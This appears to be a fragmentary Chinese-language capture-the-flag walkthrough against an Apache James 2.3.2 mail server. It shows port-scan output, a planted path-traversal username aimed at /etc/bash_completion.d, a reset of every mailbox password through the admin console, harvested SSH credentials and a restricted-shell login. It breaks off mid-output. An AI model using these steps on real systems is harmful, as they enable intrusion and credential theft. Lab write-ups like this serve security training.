22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) 25/tcp open smtp JAMES smtpd 2.3.2 80/tcp open http Apache httpd 2.4.25 ((Debian)) 110/tcp open pop3 JAMES pop3d 2.3.2 119/tcp open nntp JAMES nntpd (posting ok)
user: james user: ../../../../../../../../etc/bash_completion.d user: thomas user: john user: mindy user: mailadmin
分析一下
Currently implemented commands:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
help display this help listusers display existing accounts countusers display the number of existing accounts adduser [username] [password] add a newuser verify [username] verify if specified user exist deluser [username] delete existing user setpassword [username] [password] sets a user's password setalias [user] [alias] locally forwards all email for 'user' to 'alias' showalias [username] shows a user's current email alias unsetalias [user] unsets an aliasfor'user' setforwarding [username] [emailaddress] forwards a user's email to another email address showforwarding [username] shows a user's current email forwarding unsetforwarding [username] removes a forward user [repositoryname] change to another user repository shutdown kills the current JVM (convenient when James is run as a daemon) quit closeconnection
setpassword james a setpassword ../../../../../../../../etc/bash_completion.d a setpassword thomas a setpassword john a setpassword mindy a setpassword mailadmin a
From: mailadmin@localhost Subject: New Hires access John,
Can you please restrict mindy'saccessuntil she gets read onto the program. Also make sure that you send her a tempory password to login to her accounts.
Thank you in advance.
Respectfully, James
1 2 3 4 5 6 7 8 9 10 11 12 13 14
From: mailadmin@localhost Subject: Your Access
Dear Mindy,
Here are your ssh credentials toaccess the system. Remember toreset your passwordafter your first login. Your accessis restricted at the moment, feel free to ask your supervisor toaddany commands you need to your path.
username: mindy pass: P@55W0rd1!2@
Respectfully, James
准备提权
ssh mindy@192.168.2.135 P@55W0rd1!2@
当我看到whoami命令,提示-rbash: $'\r': command not found
于是输入help
1 2 3 4 5 6 7 8 9 10 11
GNU bash, version 4.4.12(1)-release (i686-pc-linux-gnu) These shell commands are defined internally. Type`help' to see this list. Type `help name' to find outmoreabout the function `name'. Use `info bash' to find outmoreabout the shellin general. Use `man -k' or `info' to find outmoreabout commands not in this list.
A star (*) next to a name means that the command is disabled.
job_spec [&] history [-c] [-d offset] [n] or history -anrw [filename] > (( expression )) if COMMANDS; then 省略。。。。。。。。。。。